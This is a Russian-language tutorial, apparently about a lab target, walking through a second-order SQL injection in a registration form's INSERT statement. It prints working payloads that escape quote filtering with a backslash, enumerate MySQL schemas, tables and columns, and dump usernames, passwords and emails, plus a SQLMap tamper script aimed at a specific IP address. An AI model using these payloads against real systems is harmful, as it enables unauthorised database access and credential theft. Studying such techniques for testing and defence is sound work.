INSERT statement second order SQL injection without quotes
@cherepawwkaВсем привет!
Представьте, что вы встретили форму авторизации с возможностью регистрации и чувствуете, что она уязвима. Что первое приходит в голову, когда речь заходит о такой форме? Я думаю, что ответ у всех будет почти един: SQL Injection.
Мы привыкли, что, если форма уязвима, достаточно вставить обычную кавычку, и сервер вернёт нам 500 ошибку, что будет хорошим признаком существования уязвимости. Но что делать в том случае, когда кавычки не помогают?
Сегодня мы разберем интересный случай, когда SQL Injection существует в форме регистрации, а результат нашей инъекции мы можем увидеть лишь после успешной авторизации, когда информация о нашем профиле возвращается из базы данных. Такие SQL-инъекции называются second order (второго порядка).

Приступим!
Поиск уязвимости
Изучим уязвимое приложение. Первым делом нас встречает окно авторизации:

Если мы попробуем обойти авторизацию при помощи стандартных способов, перечисленных здесь, то обнаружим, что сама форма неуязвима.

На этой же странице мы видим ссылку на страницу регистрации, изучим её:

Заполним её тестовыми данными и попробуем осуществить регистрацию, перехватив запрос в Burp Suite:

Как мы видим, приложение не выдало никакой ошибки, и после авторизации нам успешно отображается информация о только что созданном пользователе:

Раз страница авторизации, как мы выяснили ранее, неуязвима, единственной точкой нашего внедрения может быть форма регистрации, и, следовательно, наша SQL-инъекция существует в операторе INSERT (Insert Statement). Пример такой уязвимости можно рассмотреть на PortSwigger.
Давайте пофантазируем, как выглядит наш SQL-запрос для регистрации в приложении. Я вижу его примерно так:
INSERT INTO accounts (username, password, email, profession) VALUES ('123', '123', '123', '123');
Если приложение уязвимо, то нам нужно попробовать нарушить корректный SQL-запрос, используемый для регистрации юзера, внедрив в него полезную нагрузку для извлечения информации со страницы. Для распознавания наличия SQL-инъекции мы можем попробовать использовать один из специальных символов '"#);\, которые могут быть неверно интерпретированы в SQL-выражении. Давайте подготовим Intruder для атаки (в данном случае подойдет Battering ram, так как он подставит полезную нагрузку сразу во все помеченные позиции):

Ниже приведён скриншот используемых полезных нагрузок:

Запускаем атаку и изучаем результат:

Нас привлекают сразу 2 ответа.
При использовании двойной кавычки сразу после одинарной мы получаем ответ 200. Сервер сообщил нам, что пользователь с таким именем уже существует, что может говорить о том, что кавычки (', ") вырезаются из SQL-запроса:

Но также мы видим и ошибку 500, которая представляет для нас особый интерес. Она говорит о том, что мы успешно нарушили SQL-запрос, буквально сломали его, путем внедрения символа \ (этим знаком обычно экранируются специальные символы):

Давайте разберёмся, как это использовать для достижения конечной цели — извлечения информации из таблиц.
Верификация уязвимости
Как я говорил ранее, SQL-запрос для добавления пользователя выглядит примерно так:
INSERT INTO accounts (username, password, email, profession) VALUES ('123', '123', '123', '123');
Поля username и password для инъекции не подойдут, так как для отображения результата нам необходимо успешно авторизоваться, и инъекция в имя пользователя или его пароль может привести к непредсказуемому результату и, как следствие, невозможности авторизоваться.
Самым подходящим полем в нашем случае остаётся email, в который мы будем инжектить символ \. Посмотрим, как будет выглядеть наш запрос в таком случае:
INSERT INTO accounts (username, password, email, profession) VALUES ('123', '123', '\', '123');
В этом случае кавычка после символа \ будет интерпретирована как часть строки email (значение email, помещенное в БД, будет ',, а цифры 123 будут распознаны не как значение поля profession, а как часть структуры SQL-запроса).
Следовательно, для грамотной инъекции нам нужно поместить в поле email значение \, а в поле profession — нашу полезную нагрузку на языке SQL.
Может звучать сложно, но я постараюсь объяснить подробнее:

Полезная нагрузка в параметре profession выглядит так: ,+version())%3b--+-
Если раздекодить её из URL, то получим , version());-- -
Как можно увидеть, мы ставим запятую в начале, чтобы не сломать синтаксис INSERT INTO. В конце мы ставим );, чтобы закрыть конструкцию INSERT INTO. Далее у нас идёт последовательность -- -, которая представляет собой комментарий, чтобы отбросить "лишнюю" часть оригинального запроса, который мы подменили в нашей полезной нагрузке.
Ниже я приложил скриншот Burp Suite с запросом на регистрацию, в ответ на который сервер вернул 302. Это значит, что наши предположения были верны, и нагрузка успешно сработала!

Давайте автризуемся в приложении и посмотрим на результат:

Успех!
Эксфильтрация данных из таблицы
Мы поняли анатомию приложения и успешно проэксплуатировали SQL-инъекцию, узнав версию СУБД (в нашем случае это MySQL).
Для дальнейшей эксплуатации я буду использовать стандартные нагрузки для этой СУБД, чтобы извлекать данные из таблиц. На их составлении я останавливаться не буду, в канале немало материала, где я подробно расписывал шаги по извлечению данных из БД через инъекцию, например, тут:
Или тут:
Первым делом получаем список баз данных в СУБД:
username=test1&password=test1&email=%5c&profession=, (Select gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata));-- -

Результат:

|information_schema|,|performance_schema|,|portfolio_db|
information_schema и performance_schema — это служебные БД, существующие по умолчанию. А вот portfolio_db — та БД, которая нас интересует.
Получаем список таблиц из БД:
username=test2&password=test2&email=%5c&profession=, (Select gRoUp_cOncaT(0x7c,table_name,0x7c)+fRoM+information_schema.tables+wHeRe+table_schema=database()));-- -

Результат:

Мы находимся уже в БД portfolio_db и работаем с единственной таблицей contractors, следовательно, извлекать данные мы будем из неё.
Получаем список полей в таблице:
username=test3&password=test3&email=%5c&profession=, (Select gRoUp_cOncaT(0x7c,column_name,0x7c)+fRoM+information_schema.columns+wHeRe+table_name=0x636f6e74726163746f7273));-- -
Поскольку мы не можем использовать кавычки в запросе (ранее мы выяснили, что они вырезаются), но они в этом запросе нужны для указания имён таблиц и полей, придётся воспользоваться хитростью и указать имя таблицы через HEX:

Запрос:

Результат:

|email|,|id|,|password|,|profession|,|username|
Теперь мы знаем всю структуру таблицы, и нам остаётся лишь вытащить из неё данные. Запрос выглядит следующим образом:
username=exfil&password=exfil&email=%5c&profession=, (Select group_concat(0x7c,username,0x7c,password,0x7c,email,0x7c,profession,0x7c,0x0a) fRoM portfolio_db.contractors));-- -
Но тут мы столкнемся с ошибкой:

Давайте попытаемся понять, что же произошло.
Если бы мы осуществили аналогичный запрос в самой СУБД, то получили бы ошибку 1093, которая сообщила нам, что таблица contractors определена дважды: в качестве целевого объекта для вставки и в качестве источника данных.
Чуть подробнее об ошибке и о решении этой ошибки написано тут.
В MySQL нельзя изменять данные и одновременно делать выборку из той же таблицы в подзапросе. Универсальный способ, рекомендуемый в документации, — использовать вложенный подзапрос. В этом случае подзапрос к изменяемой таблице оказывается в части FROM и материализуется во временную таблицу в начале выполнения запроса. Таким образом, при обновлении чтение данных будет идти из временной таблицы, а не из той, которая обновляется.
Воспользуемся вариантом, упомянутым в статье, и составим следующий запрос:
username=exfil&password=exfil&email=%5c&profession=, (Select group_concat(0x7c,username,0x7c,password,0x7c,email,0x7c,profession,0x7c,0x0a) fRoM (Select table_name fRoM information_schema.tables where table_schema=database()) AS t1));-- -

Или, если чуть проще, то тело POST-запроса может выглядеть следующим образом (просто добавляем Alias):
username=exfil&password=exfil&email=%5c&profession=, (Select group_concat(0x7c,username,0x7c,password,0x7c,email,0x7c,profession,0x7c,0x0a) fRoM portfolio_db.contractors AS exfiltration));-- -

Результат:

Таким образом, мы получили содержимое БД через инъекцию, которая была не слишком очевидна на первом этапе. Навык эксплуатации таких уязвимостей может быть полезен и на реальных проектах, а особую ценность этому навыку даёт то, что SQLMap в базовой своей конфигурации такую инъекцию не эксплуатирует. Кстати о SQLMap...
Extra. Написание tamper для SQLMap (спойлер: неудачно)
Мне стало интересно автоматизировать процесс эксплуатации этой уязвимости, но SQLMap не помечает параметр инжектируемым.
Я набросал следующий тампер по советам с HackTricks и документации инструмента:
#!/usr/bin/env python
import re
import requests
import random
import string
from lib.core.enums import PRIORITY
priority = PRIORITY.LOW
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
username = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
register_params = {"username":username, "password":username, "email":"\\", "profession":payload}
url = "http://62.173.140.174:16022/register.php"
pr = requests.post(url, data=register_params, verify=False, allow_redirects=True, proxies=proxies)
login_params = {"username":username, "password":username, "email":"\\", "profession":payload}
url = "http://62.173.140.174:16022/login.php"
pr = requests.post(url, data=login_params, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
Я бы с удовольствием поделился с вами результатами его работы, но эта инъекция оказалась ему непосильна. Даже при условии, что он находит "стабильные" нагрузки, отдающие 200, а не 500, полностью раскрутить инъекцию ему не удаётся, и параметр остаётся всё так же неинжектируемым.
P.s. если у вас вдруг получится довести тампер до ума, то, пожалуйста, поделитесь вашим решением!
